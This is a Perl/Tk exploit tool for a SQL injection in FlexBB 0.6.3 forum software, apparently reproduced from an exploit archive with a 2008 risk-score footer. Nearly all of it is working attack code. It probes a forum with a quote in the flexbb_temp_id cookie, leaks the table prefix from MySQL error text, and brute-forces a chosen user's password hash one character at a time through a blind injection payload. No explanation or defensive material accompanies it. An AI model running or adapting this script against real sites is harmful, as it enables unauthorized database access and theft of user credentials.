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FlexBB <= 0.6.3 Cookies Remote SQL Injection Exploit
#!/usr/bin/perl
use Tk;
use Tk::BrowseEntry;
use Tk::DialogBox;
use LWP::UserAgent;
$mw = new MainWindow(title => "UnderWHAT?!" );
$mw->geometry ( '420x343' ) ;
$mw->resizable(0,0);
$mw->Label(-text => '', -font => '{Verdana} 8',-foreground=>'red')->pack();
$mw->Label(-text => 'FlexBB <= 0.6.3 Cookies Sql Injection', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => 'it will take about half an hour to get hashed password', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => 'you need magic_quotes_gpc turned off and mysql version higher that 4.1', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$mw->Label(-text => '', -font => '{Tahoma} 7 bold',-foreground=>'red')->pack();
$fleft = $mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
$fright = $mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;
$url = 'http://test2.ru/flexbb v0.6.3 beta/';
$user_id = '1';
$prefix = 'flexbb_';
$table = 'users';
$column = 'user_password';
$report = '';
$group = 1;
$curr_user = 0;
$fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$url) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fleft->Label ( -text => 'Returned hash: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
$fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$report) ->pack ( -side => "top" , -anchor => 'w' ) ;
$fright->Label( -text => ' ')->pack();
$fright->Button(-text => 'Test forum vulnerability',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&test_vuln
)->pack();
$fright->Button(-text => 'Get database tables prefix',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&get_prefix
)->pack();
$fright->Button(-text => 'Get hash from database',
-relief => "groove",
-width => '30',
-font => '{Verdana} 8 bold',
-activeforeground => 'red',
-command => \&get_hash
)->pack();
$mw ->Label(-text => '', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fleft->Label(-text => '!', -font => '{Webdings} 22')->pack();
$fleft->Label(-text => 'FlexBB 0.6.3', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fleft->Label(-text => 'cookie sql injection ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fleft->Label(-text => 'mysql char bruteforcing ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fleft->Label(-text => 'bug in template function ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fleft->Label(-text => 'by gemaglabin and Elekt ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fleft->Label(-text => '( mafia of antichat.ru ) ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fleft->Label(-text => ' 2007.02.04 ( fixed ) ', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
$fright->Label(-text => '', -font => '{Verdana} 3 bold',-foreground=>'red')->pack();
$print=$fright->Text(-width=>35,-height=>5,-wrap=>"word")->pack(-side=>"top",-anchor=>"s");
MainLoop();
sub get_hash()
{
srand();
$xpl = LWP::UserAgent->new( ) or die;
$InfoWindow=$mw->DialogBox(-title => 'get hash from database', -buttons => ["OK"]);
$i = 1;
$b = 0;
$report = '';
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
$print->insert('end',"- Start [$hour:$min:$sec]\n");
my @brutearray=qw(48 49 50 51 52 53 54 55 56 57 58 97 98 99 100 101 102);
while (length($report)<32)
{
$num = $brutearray[$b];
$ret = get_pchar();
if($ret > 0)
{
$print->insert('end',"- char [$num] = ".chr($num)."\n");
$report .= chr($num);
$b = 0;
$i = $i +1;
$mw->update();
break;
}
else
{
$b = $b +1;
}
}
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
$print->insert('end',"- Finish [$hour:$min:$sec]");
}
sub get_pchar()
{
$res = $xpl->get($url,'Cookie'=>"flexbb_temp_id=1' and 1=if(ascii(substring((select password from ".$prefix."users where id=$user_id),$i,1))=$num,1,(select 1 union select 2))/*");
if($res->as_string =~ /more than/i) { return 0;}
else {return 1;}
}
sub test_vuln()
{
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url,'Cookie'=>"flexbb_temp_id='");
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /MySQL Query/i)
{
$print->insert('end',"- FORUM VULNERABLE\n");
}
else { $print->insert('end',"- FORUM UNVULNERABLE\n");}
}
}
sub get_prefix()
{
$InfoWindow=$mw->DialogBox(-title => 'get database tables prefix', -buttons => ["OK"]);
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
$InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
$xpl = LWP::UserAgent->new( ) or die;
$res = $xpl->get($url,'Cookie'=>"flexbb_temp_id='");
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /FROM `(.*)templates/) { $prefix = $1; $InfoWindow->add('Label', -text => 'Prefix: '.$prefix, -font => '{Verdana} 8 bold')->pack; }
else { $InfoWindow->add('Label', -text => 'Can\'t get prefix', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
}
else
{
$InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
$InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
}
$InfoWindow->Show();
$InfoWindow->destroy;
}
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08 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1